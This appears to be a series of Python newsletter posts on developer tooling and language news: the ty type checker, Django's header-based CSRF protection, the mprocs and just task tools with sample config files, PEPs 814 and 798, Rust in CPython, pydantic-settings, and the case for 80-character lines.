  greet.py:9:31 - error: Cannot access attribute "name" for class "Animal"
    Attribute "name" is unknown (reportAttributeAccessIssue)
  greet.py:9:31 - error: "name" is not a known attribute of "None" (reportOptionalMemberAccess)
2 errors, 0 warnings, 0 informations

As pyright, mypy thinks that None can’t have a name, so this can’t be right.

mypy greet.py
greet.py:9: error: Item "None" of "Person | Animal | None" has no attribute "name"  [union-attr]
Found 1 error in 1 file (checked 1 source file)

ty sees the hasattr() check and resolves the type.

In general ty chooses practicality by reporting the most useful, relevant problems instead of trying to be pedantic about types and printing a wall of false positives. Soon, we might be able to opt in for a stricter policy for projects that requires to awaken the OCD warrior in you.

But meanwhile, this is accepted by ty:

a = [1]
a.append("i'm not an int")
a.pop() + 1

mypy and pyright will tell you to remove the ambiguity, either by annotating a more lenient type like list[int|str] and therefore get flagged on the pop(), or removing the offending append().

Practice will tell if Pareto or strictness wins on this one. Maybe I will like having both behaviors available, as I do hate false positives, but sometimes want a very strong safety net, depending on contexts. Maybe it will be... a tie.

Meanwhile, you know you can give it a try with uvx ty check and get decent type checking at light speed with much better error messages.

Django is getting less obnoxious CSRF protection

Django has best-in-class security default settings; one of the numerous reasons it’s still my first pick. One of them is the prevention of Cross Site Request Forgery, an attack that targets cookie authentication and permission systems.

It works by abusing the fact that non GET HTTP requests (POST for most scenarios) can be sent from browsers visiting a malicious “evil.com” site, to another “target.com” site, BUT with parameters from “evil.com”, and YET with valid cookies from the user for “target.com”.

Django mitigates that by adding a unique sequence of characters (the csrf token) in every forms that come from the “target.com” site and checks if it exists in the requests it receives. Since “evil.com” cannot have the token, its requests are denied.

This feature is one of the most annoying things to deal with, however, and people are quickly tempted to disable this protection to avoid the dreaded “CSRF token missing or incorrect” error message.

But a better way has existed for two years, a simpler header to set:

Sec-Fetch-Site: same-origin, supported by 95% of web browsers, with a fallback on the Origin header since it’s been here for a long time.

And as the OWASP recommendation is being updated to suggest you can actually do that in the corporate world, Django is moving in the same direction.

What does it mean for us?

Short term, not much, as it won’t be merged for the next release, but long term, something like django-modern-csrf, meaning a mostly transparent CSRF protection. No token, no form manipulation, just a check that the requests come from your site, which is done automatically for you.

Now, to be honest, my first reaction was a bolt of joy, akin to when I heard Python was going to use UTF8 everywhere automatically. Finally, fewer errors! No config! Beginners will not have to suffer anymore!

But then I realized something:

• CSRF only affects SPAs that rely on cookies for auth. So very few of them. And SPAs are pretty popular these days.

• I can’t recall the last time I had to configure this, since AI will automatically settle the matter for me.

So in the modern world, CSRF token errors were kinda becoming a non-issue anyway.

It’s very possible that my enthusiasm about this development is more a reflection of how old I am than a real game-changer.

Look, I’m happy about it, ok?

Where there is a Will McGugan there is a way

In a recent post, textual and rich‘s author announced the release of his new Python project, a AI chat client using textual named toad.

The UI is super clean:

It’s compatible with all big names in the LLM industry, thanks to the Agent Client Protocol.

It has code coloration, the ability to edit back previous entries, completion for all commands (including @ a file), pass-through calls to the shell, and all the nice ergonomics you expect from this terminal whisperer.

Of course, you can install it in a non-python related way, but, since it’s python you can also give it a quick try with:

uv tool install -U batrachian-toad --python 3.14
toad

I had to update node to a version > 20 for it to work with Claude (since their client uses JS), so be warned. But toad does offer to configure the rest for you.

A few months ago, I had an interview with Will where he explained his whole journey, and how it continues with Toad, and I haven’t published it yet. So I guess it’s time.

Less is moar

• This time, we swear, Python will be faster. 15% for python 3.15. On windows.

• 3.14.2 and 3.13.11 are out with a bunch of bug fixes.

• Python 3.15 alpha 3 is out, with minor new features.

mprocs is a small dev-oriented process manager that lets you run and monitor long-running processes in the background.

You install it (or just put the binary on your path), then create a mprocs.yaml file at the root of your project with your commands:

procs:
  django: uv run manage.py runserver
  tailwind: npx @tailwindcss/cli -i input.css -o output.css -w
  huey: uv run huey_consumer.py my_app.huey -k process -w 4

Run mprocs so that it starts all of them at once, then shows you a nice TUI to follow up.

Subscribe now

One file to find them. One file to bring them all up. And in the background run them

I just encountered a post from Hynek mentioning mprocs, and it looked like something I wanted for a long time.

Indeed, for many of my projects, I have multiple long-running processes I need to run, like a web server, a task queue, a CSS pre-processor, and so on.

Starting and monitoring each of them in a different terminal tab every time, and restarting them when they fail, is slightly annoying. I say slightly, because we are clearly in first-world problem territory. But annoying nonetheless.

However, not annoying enough that I wanted to deal with the hassle of using tmux just for this.

Turns out mprocs is exactly what I want, and maybe that’s what you want too.

It has one simple value proposal: you define a mprocs.yaml file at the root of your project containing the commands of the long-running processes you need for development:

procs:
  command1: run your server
  command2: run your builder
  commadn3: run whatever you want really

E.G, for a Python Web project with a bit of Tailwind:

procs:
  django: uv run manage.py runserver
  tailwind: npx @tailwindcss/cli -i .input.css -o .output.css -w
  huey: uv run huey_consumer.py my_app.huey -k process -w 4

And you call the mprocs command to run them all for you at once:

That’s it, problem solved. Your processes all run, you can switch from one to another with keyboard shortcuts or mouse clicks, if one dies, you see its name turn red:

You can restart it manually with r or setup an autorestart policy.

Of course, you can couple it with the excellent just task runner. to make things even easier:

procs:
  django: just runserver
  tailwind: just watch_css
  huey: just queue

There is not much more to it

That’s going to be a short blog post for once, because that’s really it (and I’m writing this in between eating too much sugar and too much fat). Sure, you can do a bit more in mprocs configuration files. mprocs lets you define the current working directory, env variables, or select commands depending on OSes, but since just does it has well, I’d rather configure it there.

Honestly, I’m even going to hide mprocs behind just dev. I want just to be my interface to everything, so that I have only one place to look at when I switch between projects.

It’s easier for the team, and it’s also more efficient for AI agents, especially since the latter would use just but not mprocs.

Another nice Rust CLI tool I added to my PATH. There is a lot of that going on these days.

It’s nice to have shortcuts for commands you use often. To have normalized names for installing dependencies, running the code, or starting the tests across all your projects.

Task runners are good at this: gulp, doit, rake... It’s so popular that build systems are sometimes used only for this feature, like with make.

I tried the cross-platform “just” task runner for a while, and it won me over. It is now my daily driver.

Put a .justfile at the root of your project, add a few commands, and voilà, normalized self-documenting project shortcuts:

set dotenv-load
set shell := [”zsh”, “-c”]
set windows-shell := [”powershell.exe”, “-NoProfile”, “-NoLogo”, “-Command”]

build_docs:
    python -m mkdocs build -f docs\mkdocs.yml
    python -m http.serve docs

runserver port=”8080”:
    python manage.py runserver 127.0.0.1:{{port}}

test *args:
    pytest tests {{args}}

format +targets=”src test”:
    ruff format {{targets}}
    ruff check --fix {{targets}}

[windows]
clean_pyc:
    Get-ChildItem -Path . -Filter *.pyc -Recurse | Remove-Item -Force

[unix]
clean_pyc:
    find . -name “*.pyc” -exec rm -f {} \;

You can now list all actions in your project:

❯ just --list
Available recipes:
    build_docs
    clean_pyc
    format +targets=”src test”
    runserver port=”8080”

And run any of them from the comfy just wrapper:

❯ just format foo/my_file.py
ruff format foo/my_file.py
1 file left unchanged
ruff check --fix foo/my_file.py
All checks passed!

No need to remember all the underlying commands.

My battery is low, and it’s getting dark

It’s one of those long days, you have been switching between 3 projects already, you are tired, and the sun went down 30 minutes ago. Not saying there are vampires out there, but given the number of bugs you had to kill today, you would not be surprised.

Now you are switching to yet another web project. It’s not installed, so you definitely need to figure that out. Is it using poetry, or pip, or uv ?

Ah, it’s pre-COVID at a time when you worked for one of those corps that used Anaconda. But not using the usual conda command, the guy who set that up decided it should be using the latest shining toy of years ago, and is using mamba. How does that work already?

How do you call this bloody thing? With what parameters?

You made it work somehow, piecing up bits from the readme, a deprecated StackOverflow post, and 2 wrong trials from ChatGPT.

But now you have to start the damn stuff.

So first, figuring out what framework it uses, and then the magical incantation to run the dev server. You kinda remember it has to listen to port 7777, but is that a Flask thing that goes:

flask run --reload --port 7777

A FastAPI thing that needs:

uvicorn main:app --reload --port 7777

Or a Django thing that wants:

python manage.py runserver 7777

Success. Now let’s figure out how to run the unit tests...

That’s why we haz task runners

Most projects need a command to set it up, another one to run it, and another one to run the tests. Then a collection of custom ones of other dedicated stuff. Task runners normalize that, you only have to figure out what task runner to use, after that, it can list the commands available on the project, and run them for you with a short name instead of the whole thing.

There are thousands of task runners out there. The most popular is probably still make (which I really dislike because it was made as a builder, not a task runner, and it shows). In the Python world, I have used and recommended doit (nice article here) and poethepoet.

But for a few projects now, I’ve been using the Rust-based just command. And since uv doesn’t seem to include the feature any time soon, this is likely what I will stick to for the near future.

It’s fast, easy to use, simple to install, and works very, very well.

Allow me to demonstrate.

Just install it

One of the wonderful things about Rust programs is that they usually come with tons of installation options. You will have to work very hard to find a popular system on which you cannot install just.

It comes with a ridiculous number of supported package formats. You can install it with homebrew, apt, dnf, snap, nix, and even npm or anaconda.

It’s on pypi, so you can install it with pip and of course, uv.

I usually do:

uv tool install rust-just

Because it works the same on Windows, Mac, and Linux, and takes care of the PATH for me.

But frankly, on systems on which I don’t have uv, I directly grab the exe from here.

Even on very locked-down Windows boxes from my clients, I haven’t yet been given a system on which I can’t unzip “just-1.45.0-x86_64-pc-windows-msvc.zip”, and run directly just.exe.

And being able to ssh, then wget and unzip just-1.45.0-x86_64-unknown-linux-musl.zip on any vps box anywhere and run the thing as-is is fantastic. No root needed.

just really wants to run on your machine.

Just say hello

In just, commands live in a file at the root of your project, named “.justfile”.

You put a recipe in there:

                    # that's a comment
hello:              # that the name of the recipe
    echo “hello”    # that's the command it runs

And now, in your terminal, go to your project directory, then run it:

❯ just hello
echo “hello”
hello

(If you are on Windows, this might fail. I’ll explain later in the section “Just making it work on Windows”)

You’ll notice that just prints the command then runs it. You can avoid the printing by prefixing the command with a @:

hello:
    @echo “hello”

Which gives you:

❯ just hello
hello

You don’t have to limit yourself to one command per receipt; you can put several:

hello:
    @echo “hello”
    @echo “world”

And you don’t have to put a @ on each command, you can put it on the recipe’s name:

@hello:
    echo “hello”
    echo “world”

Running it gives you:

❯ just hello
hello
world

That’s the basics.

In all your projects, you can now have a just file that does stuff like:

# Build and serve the projects technical doc
build_docs:
    python -m mkdocs build -f docs\mkdocs.yml
    python -m http.serve docs

(The comment will be the recipe’s doc BTW)

Now you never have to remember what command you need to build and serve the doc for each project. You do:

❯ just --list
Available recipes:
    build_docs    # Build and serve the projects technical doc
    hello

And you know what’s available.

Just making it work on windows

Just files come with a lot of configuration knobs that you can activate using the set keyword. The most important one is the one to set the shell.

By default, it will use the sh shell, even on Windows. This might work if you have Cygwin or Git installed, but it might fail miserably.

You can tell it what shell to use on Windows by adding this at the begining of your just file:

set windows-shell := [”powershell.exe”, “-NoProfile”, “-NoLogo”, “-Command”]

This tells just to use PowerShell instead of sh. In this particular case, I tell it not to load the user’s profile (-NoProfile), not print the startup message (-NoLogo) and execute the next string (-Command, this one is required for it to work, the others are optional.

You can use set shell to set it to another shell for unix, and set windows-shell just for Windows, so you get a different shell on each.

Just add some variables

If you read this blog, you know I am not fond of DSLs. I usually think they are too limiting, badly supported, with poor tooling and limited debugging capabilities for the little convenience they bring.

For a few successful bash, CSS, HTML, and SQL, you have a thousand Frankenstein experiments that haunt your career.

But I’m happy to report I quite like just’s DSL. It strikes a nice balance between usability and power: simple stuff is super simple, complicated stuff is possible. But it stops right before becoming a full-featured script language. You can code a Python script and call that from just instead. Plus it has good VSCode support.

So what can you do with just?

Well, variables, for once, which you set with :=:

# Create local variable for this script.  
tmp_dir := “./tmp”

# Make it an environnement variable accessible to all programs s 
export PATH := “./local/bin”

# Load the env variable “DEBUG” from the environement and put it  
# in a “debug” local variable. If it doesn’t exist, use the 
# default value “1”.
# You could use this with the “export” syntax above to make it 
# accessible to all commands but by default it creates a local variable.
debug := env_var_or_default(’DEBUG’, “1”)

# You can use variables defined previously, in your commands. 
# This will print:
# tmp_dir=./tmp
# PATH=./local/bin
# debug=1
@status:
    echo tmp_dir={{tmp_dir}}
    echo PATH={{PATH}}
    echo debug={{debug}}

But also named parameters:

runserver port=”8080”:
    python manage.py runserver 127.0.0.1:{{port}}

You can call this one with

• just runserver: runs manage.py runserver 127.0.0.1:8080

• just runserver 7777 : runs manage.py runserver 127.0.0.1:7777

• just runserver port=7777 : runs manage.py runserver 127.0.0.1:7777

And sure, there are variadic versions to pass infinite parameters and proxy them to the underlying commands.

# 1 or more This means that “just format” requires 
# at least one but possibly many positional parameters. 
# Here we them to “ruff format” and “ruff check”
# It has a the default values of “src” and “test” 
# but anything you type will be overriding that so you 
# could type “just format your_file.py”.
format +targets=”src test”:
    ruff format {{targets}}
    ruff check --fix {{targets}}


# 0, 1 or more. This means that “just test” accepts any
# number of arguments, and passes them to “pytest tests”. 
# If you pass nothing it will run “pytest tests”. 
# But you could do “just test -k ‘filter’ --pdb”
# and it will run  “pytest tests -k ‘filter’ --pdb”.
test *args:
    pytest tests {{args}}

Should you need to, you can set an environment variable for a single command:

shell $PYTHONSTARTUP=”~/pythonstartup.py”:
    ipython

So you don’t need to use export for everything. This works cross-shell.

Just make it more compatible

You will likely have to deal with cross-compatibility problems if you define recipes that must run on different OS.

You can define recipes that only exist on certain platforms:

# This recipe exists only on windows. Here I use a powershell command.
[windows]
clean_pyc:
    Get-ChildItem -Path . -Filter *.pyc -Recurse | Remove-Item -Force

# This recipe exists only on mac and linux, which both have find.
[unix]
clean_pyc:
    find . -name “*.pyc” -exec rm -f {} \;

You will find many markers like this with just.

E.G., this will not change the directory to the project root before running the recipe, and ask “Run recipe clean_py” before starting the show:

[unix, confirm, no-cd] 
clean_pyc: 
    find . -name “*.pyc” -exec rm -f {} ;

You may want people to define private recipes or load recipes only in some environments. In this case, you can optionally import them from another file. Start your justfile with this:

import? ‘another_file.just’

# Optional, use:
# set allow-duplicate-recipes
# To allow the same command to be defined twice and the last one
# to override all the previous ones.

It will attempt to include all recipes from another_file.just if it exists. If it doesn’t, it does nothing.

You can also tell it to load env vars from a .env file, which will let you configure applications depending on the context:

set dotenv-load

Just conclude

There is a lot more you can do with just. The DSL has conditionals, built-in functions, and unstable opt-in features. But with just what you have here, you can normalize most of your project in a convenient, fast, readable, and portable way.

LLM are good at generating justfiles. Justfiles help them to know what actions they can run on a project. It’s good documentation for everyone.

I’ll leave you with the last trick. Define:

default:
    @just --list

So that somebody calling just without argument will run just --list instead.

Because yes, you can call just from inside just.

• For the 3rd time, a proposal for adding an immutable mapping type to Python has landed.

• We will be allowed to use unpacking in comprehensions in Python 3.15.

• The debate of whether to introduce Rust to CPython has started, and it’s intense.

• And moar stuff.

Subscribe now

Looks like frozendict is back on the menu, boys

Python's distinction between mutable (can be modified after creation) and immutable (can’t be modified after creation) lives on the objects themselves, not the variable, like, say, in Rust with the mut keyword.

Strings and tuples are immutable. But byte arrays and lists are mutable.

Sets even have a frozenset counterpart:

>>> s = {1, 2, 3}
>>> s.add(4)
>>> s
{1, 2, 3, 4}
>>> s2 = frozenset(s)
>>> s2
frozenset({1, 2, 3})
>>> s2.add(4)
Traceback (most recent call last):
  File “<python-input-4>”, line 1, in <module>
    s2.add(4)
    ^^^^^^
AttributeError: ‘frozenset’ object has no attribute ‘add’

It’s not for lack of trying. PEP 416 and PEP 603 were both previous attempts to bring an immutable mapping type to Python, but didn’t gather support.

Of course, now that we have a GIL-less version of Python, and immutable types being very useful for concurrency, maybe a new proposal could succeed. And tada! Victor Stinner submitted a new one: PEP 814.

This version is not controversial in design and mirrors frozenset.

• frozendict() creates a new empty immutable mapping.

• frozendict(collection) creates a mapping from the passed collection object.

• Unpacking works: frozendict(collection, **kwargs).

• Keys must be hashable and therefore immutable, but values can be mutable. Using immutable values creates a hashable frozendict.

• items(), .keys(), .values() and .copy() exist and do what you expect.

• frozendict() can be compared to dict().

• | behaves like + on tuples.

• Insertion order is preserved, it implements the collections.abc.Mapping protocol and supports pickling.

So, it’s the right time, by the right person, with the right proposal, which is why I think it will be accepted.

Personally, I want an immutable mapping for a single reason: to use them as default arguments and avoid having ruff forcing me to use MappingProxy by warning me to death. Because usable mutable default values are bad, and I’m a bad person.

Looks like unpacking in Comprehensions is... well you get it.

Except this one is already accepted.

PEP 798 – Unpacking in Comprehensions‘s title is pretty much the gist of it: we can use unpacking everywhere, why not in comprehensions?

After all, you can do this:

devices = [*phones, *laptops, *tablets, “commodore 64”, “steam deck”]

So why not this?

devices = [*category for category in device_by_category]

Well, it turns out it’s been a loooooong discussion. In fact, many long discussions.

To finally, eventually, just exactly do that.

It’s a nice QoL improvement, which should free us from flattening nested iterables with:

from itertools import chain
devices = list(chain.from_iterable(device_by_category))

Or worse:

devices = [device for category in device_by_category for device in category]

It’s planned for Python 3.15, and will work with all the usual flavors of comprehension:

[*it for it in its]  # list comprehension
{*it for it in its}  # set comprehension
{**d for d in dicts} # dict comprehension
(*it for it in its)  # generator expression

You may argue that “There should be one-- and preferably only one --obvious way to do it“ has been dead, incinerated, and the ashes buried.

But next time I’ll be looking to take a nested iterable and make it nice and flat, this will be the obvious way for me.

We trade the “preferably only one” away to stay relevant as time goes by. Having one consistent idiomatic solution displacing all the others while not breaking the world is the right direction to go.

And now they want Rust in Python

Because of course they do. We have Rust in the Linux project and Rust in the Git project, plus there is already a Rust implementation of Python.

It was only a matter of time before someone suggested CPython, called that way because it is implemented in C, should also make a first oxidation step.

My tone is tongue-in-cheek. Those moves have been made by very knowledgeable people with clear objectives and a well-defined experimental stage. And the pre-PEP discussion about adding Rust for CPython is no exception:

• It’s championed by two core devs.

• It advocates that CPython has had numerous bugs in the past that would have been impossible with Rust.

• It suggests, as with other projects, to start very small and with Rust-based extension modules that are neither part of the core of CPython nor the standard library.

• And it’s, of course, just a discussion of a topic that would have been brought up one day or another.

Guido himself commented:

I think this is a great development

While the core dev, and time zone Guru, Paul Ganssle notes that:

as someone who always introduces memory leaks and segfaults and such any time he writes any kind of C extension code, I welcome the idea

Because beyond the hype around Rust, there is real value: zero cost high-level datastructures, provable memory safety, robust concurrency... All hard problems to tackle that the language and its ecosystem have been very good at addressing.

Plus, Rust is not new anymore. It’s stable (v1.91), it’s 13 years old, and it’s been widely used in the Python community to create compiled extensions already, thanks to the PyO3 project. The two languages have been BFF for a while, and you’ll find well-respected figures of the community that have a foot in both: Armin Ronacher (flask), Samuel Colvin (pydantic), Charlie Marsh (uv)...

Personally, I have been consistently experiencing better quality from Rust-written software.

Maybe it’s the type of language that attracts people who are interested in getting the details right.

Or maybe the qualities of the language mean that if a project manages to reach the production stage, it will be better than an alternative that would reach the production stage because the minimal level of quality and checks required is better.

Or maybe the ecosystem is just very good.

Or maybe it’s all together, and something more.

Doesn’t matter.

The fact is, I did have a subjectively better experience with software written in Rust than in Python, JS, or even Go or Java.

So “written in Rust, BTW” will unironically make it more likely that I try some software.

Does that make it the right fit for Python? I’m not competent to answer, but I welcome the talk.

Of course, there are a lot of issues to address:

• What does it mean for Python's support of exotic platforms? You can compile C on a toaster after all.

• What’s going to happen to the API that C extensions use?

• Rust has a notoriously slow compile time, which means slow feedback loops. How does that affect Python?

• How much effort can be engaged for this, and when does one consider the ROI worth it? On what metrics?

• How do you deal with the accumulated knowledge of people who have been on the project forever, experts in C, but with no intention to learn a new language?

• What’s the timeline for all that?

All this is compounded by the fact that it’s touching a very old code base on a hugely popular project that affects billions of people, carried by community work. And if you needed even more intensity, this is, of course, also a strongly emotionally charged topic.

The discussion is already full of questions and answers, then more questions, and is quickly becoming one of the most active threads on discuss.python.org ever, with already 234 levels of pagination in less than a month.

To give you a context of how much of a heated debate it is, the discussion about removing the bloody GIL was 130 pagination levels. After almost two years.

So, unless you want to participate in the debate yourself, it’s better to wait and see until the dust settles a little because right now there is way too much movement to get a clear picture of what is and what can be.

Moar?

• Mypy 1.19 has been released. It’s the last one to support Python 3.9, making the new fast cache stable (use --fixed-format-cache to activate it), and providing unstable support for PEP 747 (types to represent types).

• Python 3.15 alpha 2 is out. For now, the most notable features is the new profiler, and it looks pretty.

• Python 3.13.10 and 3.14.1 provide the usual bug fixes and security patches.

• VSCode Python extension gets a new Code Action that lets you quickly convert import * into an explicit import.

• Django gets the usual security releases for 5.2.9, 5.1.15, and 4.2.27. Yep, they still support 4 because they are awesome.

• Django 6 is out with Content Security Policy support, the new Template Partials (that will be nice with HTMX), and integrated background tasks, which we talked about on the blog previously.

• yt-dlp, the fantastic Python video downloader CLI tool, will now require a JS runtime for full youtube support.

Pydantic has grown so Fast, and it now contains a full-featured settings loader system with support for getting values from env vars, multiple dotenv files, config file, and cloud vaults.

In fact, it can even parse CLI arguments now.

Today, you can effectively replace calls to environs/dotenv, click/typer/argparse, tomlib/yaml/json, and most parsing+validation code with a Pydantic class.

And it will cascade all those, deal with missing sources, handle priorities, understand deeply nested values, and censor secrets.

It’s quite good, I would say.

Subscribe now

Pydantic is a chonky boï now

Pydantic started as a simple validation library, like marshmallow, and is mostly used as such today. You first define a schema:

>>> from pydantic import BaseModel, HttpUrl, ValidationError
... from datetime import date
... 
... class Book(BaseModel):
...     title: str
...     url: HttpUrl
... 
... class LibraryCheckoutRequest(BaseModel):
...     date: date
...     user_id: str
...     books: list[Book]

Then you validate data with that schema. If it works, you get a regular object you can manipulate that you know contains exactly what you want:

... valid_request = LibraryCheckoutRequest(
...     date=”2025-11-21”,
...     user_id=”user123”,
...     books=[
...         {”title”: “1984”, “url”: “https://library.example.com/books/1984”},
...         {”title”: “Brave New World”, “url”: “https://library.example.com/books/brave-new-world”}
...     ]
... )
... 
>>> valid_request

LibraryCheckoutRequest(
    date=datetime.date(2025, 11, 21),
    user_id=’user123’,
    books=[
        Book(title=’1984’, url=HttpUrl(’https://library.example.com/books/1984’)),
        Book(title=’Brave New World’, url=HttpUrl(’https://library.example.com/books/brave-new-world’))
    ]
)
>>> valid_request.books[0].url.path
‘/books/1984’

And if the data is invalid, it will tell you so, and what the problem is with it:

 ... try:
...     invalid_request = LibraryCheckoutRequest(
...         date=”not-a-date”,
...         user_id=123,
...         books=[
...             {”title”: “Invalid Book”, “url”: “not-a-url”}
...         ]
...     )
... except ValidationError as e:
...     print(e)
... 
3 validation errors for LibraryCheckoutRequest
date
  Input should be a valid date or datetime, invalid character in year [type=date_from_datetime_parsing, input_value=’not-a-date’, input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/date_from_datetime_parsing
user_id
  Input should be a valid string [type=string_type, input_value=123, input_type=int]
    For further information visit https://errors.pydantic.dev/2.12/v/string_type
books.0.url
  Input should be a valid URL, relative URL without a base [type=url_parsing, input_value=’not-a-url’, input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/url_parsing

It can also serialize/deserialize data to JSON and is compatible with type hints, for this reason, it was eventually adopted by FastAPI to define endpoints in an succinct and elegant way, and became very popular.

So they added more stuff.

What do you mean, it does settings?

Over time, Pydantic has accumulated more and more features, and one day made an innocent addition: a small class dedicated to loading values from environment variables and validating them. It has since grown, and grown, and it’s now an unexpectedly excellent settings loader system.

It has become so much more than it was at the beginning, in fact, that in 2023, the code was extracted into its own separate package: pydantic-settings.

Here is a simple example:

# /// script
# dependencies = [
#   “pydantic_settings”
# ]
# ///

from pathlib import Path
from typing import Literal

from pydantic import SecretStr, Field, DirectoryPath, conint, HttpUrl, ConfigDict
from pydantic_settings import BaseSettings

class Settings(BaseSettings):

    service_url: HttpUrl
    api_token: SecretStr
    log_level: Literal[’DEBUG’, ‘INFO’, ‘WARNING’, ‘ERROR’, ‘CRITICAL’] = ‘INFO’
    upload_dir: DirectoryPath = Path(”/tmp/uploads”)
    port: conint(ge=1024, le=65535) = 8080
    
    model_config = ConfigDict(
        env_file=(”/etc/.env”, “.env”),
        env_file_encoding=”utf-8”
    )

if __name__ == “__main__”:
    settings = Settings(log_level=”WARNING”)
    print(”Service URL:”, settings.service_url)
    print(”API Token:”, settings.api_token)
    print(”Log Level:”, settings.log_level)
    print(”Upload Directory:”, settings.upload_dir)
    print(”Port:”, settings.port)

In a few lines, you already get so many things:

• This will load all values from a /etc/.env then a .env file if they exist.

• This will then load all values from environment variables. They override the previous values.

• This will then override those with any parameters manually passed to Settings.

• Then it will deserialize all those values into proper Python types. upload_dir will be a Path, for example.

• And finally, it will perform validation. Check if the port matches the given range. That the log level is one of the allowed values, etc.

That packs a punch.

It’s not even limited in format; you can load from any source. The lib supports JSON, TOML, and YAML out of the box, but you can inherit from PydanticBaseSettingsSource and create your own loader. You can even change the order in which sources are loaded by overloading the settings_customise_sources method on your settings class.

But the cool thing about it is that despite the fact that I have been using this for quite some time, every time I come back to the doc, there is something new.

But it cannot parse sys.argv, can it?

Recently, I learned that, lo and behold, Pydantic settings can now handle command-line arguments. You just need to add one parameter to DictConfig:

model_config = ConfigDict(
    env_file=(”/etc/.env”, “.env”),
    env_file_encoding=”utf-8”,
    cli_parse_args=True
)

And boom:

So now you load, convert, and validate cascading settings from 2 dotenv files, env vars, and the CLI. If that’s not beautiful, I don’t know what is:

❯ export API_TOKEN=”yeah_no”
❯ uv run foo.py --service_url https://bitecode.dev --upload_dir /tmp  
Service URL: https://bitecode.dev/
API Token: **********
Log Level: WARNING
Upload Directory: /tmp
Port: 8080

And the CLI feature comes with many tricks in itself: sub-commands, kebab-case, passing lists/json to set complex values, aliases, --no-flag, positional args, mutually exclusive groups, argparse integration...

It’s a secret

Have you noticed the token is marked as a secret? That’s why if you print it, it will show ***. You need to actively call get_secret_value() to read it, so it doesn’t end up in some log by mistake.

There is a whole part of the lib now that is dedicated to the retrieval of secrets. I can read Unix secret files, docker secrets, AWS secret manager, Google Cloud Secret Manager, and Azure Key Vault, but as you can imagine, you can create your own.

Of course, the community did, so you can also load your token and passwords from a Hashicorp vault

Ironically enough, I was a critic of Pydantic when it came out and preferred to use alternatives. I’m happy to report I’ve done a full 180 on this and use it everywhere.

In 2025, it is still recommended to have an 80-character limit in Python. This seems anachronistic, but it has many benefits:

• It fits how the human eyes work.

• It makes it practical when many tools are opened side by side.

• It transfers easily across very different types of media and formats.

• It unifies the community around a standard.

• It encourages good programming practices.

Subscribe now

80 and still got it

In this day and age of automatic formatting, PEP 8 is still the reference document on how to format Python code. It’s been updated several times since 2001, but one thing that hasn’t changed in 2025 is that the maximum line length is still recommended to be set to 79 characters.

Most people have the number 80 in mind, and ruff and black will attempt to wrap at that, but will give you some breathing room and only complain if they can’t do so at 88, by default.

Why 79 and not 77 or 82?

It’s a historical thing. Early terminals and editors typically displayed 80 columns, and some added, sometimes, an indicator in the first columns, leaving you 79 characters before the line would wrap. If you want to go back further, this is a relic they inherited from punch cards!

But we have gigantic screens now, terminals can resize on the fly, and Emacs/Vims are certainly not limited to 80 columns.

So why would it still be relevant today?

I have an absolutely gigantic screen myself, and as you can see in this picture, typing this article in Obsidian means the text takes only 25% of the total width:

And yet, I say, you should ignore the fact that most formatters, including very rigid ones, make this configurable. Keep the default limit at 80.

So what gives?

How the eyes work

Typographers have been at this game way longer than there have been computers, and yet, printed text has kept more or less the same format for centuries: the content unfolds through the height more than the width.

You could think it’s because it’s easier to turn pages, but before books, we had scrolls, and we had various ways to open them, vertically or horizontally. But apart from some artistic endeavor or when graphics were involved (like a map), text kept being stubbornly mostly written to flow vertically. This is true even in languages that allow reading from top to bottom, or left to right.

As research shows, it’s just easier for humans to read that way. Long lines can even make a text overwhelming.

One of the reasons for this is how our eyes move. When lines are too long, readers’ eyes struggle to focus, and it becomes difficult to quickly find the start of the next line. The eye movement from the end of one line to the beginning of the next is called a “saccade”, and it affects how you can comfortably scan the text. Something you do again and again while reading code.

But it’s not just that.

Side by side

Nowadays, it’s very common to have a lot of tools side by side when editing code. You have the code, the file explorer, one terminal, maybe an AI chat, or some object hierarchy tree displayed.

Most probably, you have a Web browser open as well, either to check the result of the UI you are coding, or to search for something, read documentation, and whatnot.

Then, of course, there is code comparison, something you do on many git merge . You might as well have the code editor to be spitted into 2 editing panels for easier reference or copy/pasting stuff.

Having code flow mostly vertically and not taking too much width in that context is a very good thing. Does it need to be 79 characters precisely? Of course not.

To quote the PEP8 itself (quoting Emerson):

A foolish consistency is the hobgoblin of little minds

And later on:

it is okay to increase the line length limit up to 99 characters

That’s why Ruff let you set max-line-length.

But I find personally it’s best to let it be at 80. It gives you more margin to cram more tools side by side without turning writing code into an impractical Tetris exercise. It makes diffing much easier, and since it’s a standard, no need to configure anything, no need to argue. You will already be aligned with most tooling and teams. That itself is a win.

Different medium

Even if we were not constantly having more stuff than code open in our dev machines, this is not the only place where code is going to be read.

Here are some of the places someone may be reading code:

• In a blog article, from a phone.

• In a screenshot on social media.

• In a video during a tutorial.

• In a web interface, inside a small widget to edit bug tickets.

• In a KVM window, while trying to frantically debug this very bad Friday deployment at 3 am.

• In a meeting while screen sharing.

• While doing an SSH session on a BusyBox machine that has VI, but not VIM.

• In the GitHub code review buckets.

• In your Web server or CI logs.

• In a serialized stack trace sent to a Saas like Sentry.

Those are all situations where having long lines would make the experience more painful that it needs to be.

Look at this very blog, making lines too long is wrapping code is a way that makes me cringe:

def size_matters_jokes_are_still_a_thing(explicit_content_name=”this_is_great_value”) -> ThatsMyType:

But to be frank, my favorite reason for asking all my teams to stick to 80 (when reasonable), is because implicitly, it makes it harder to create clever one-liners, and forces to create intermediary variables which, in reviews, I can ask to have self self-documenting name.

Besides, when you can’t have a long line, you can’t have too many nested blocks in a language that uses indentation for them. This mechanically restricts cyclomatic complexity, instills habits like the use of early returns or context managers, encourages you to abstract big chunks into testable stand standalone functions, and in the end, makes adding a breakpoint during debugging a no-brainer.

Better code, that’s why I stick to 80 chars.

We already talked about the big stuff, right? The lazy imports proposal (it has been accepted!) and obviously 3.14 came out. Real Python has a nice recap on it, while we focused on what didn’t make the headlines, and Miguel Grinberg has a cool benchmark on its perfs (in general, a bit better but not revolutionary).

So I kinda shoot myself in the foot with this one, because I don’t have much to report except a few crumbs:

• Python 3.9 is reaching End Of Life and won’t receive security updates anymore.

• Python 3.13.9, 3.12.12, 3.11.14, 3.10.19 and 3.9.24 are out.

• VSCode Python extensions’ new version is out with a useful “copy test ID” feature.

• Python 3.15 alpha 1 is already there (they grow so fast), teasing the new profiler we already mentioned.

• A new community project named django-bolt aims to be faster than FastAPI, but with Django ORM, Django Admin, and Django packages.

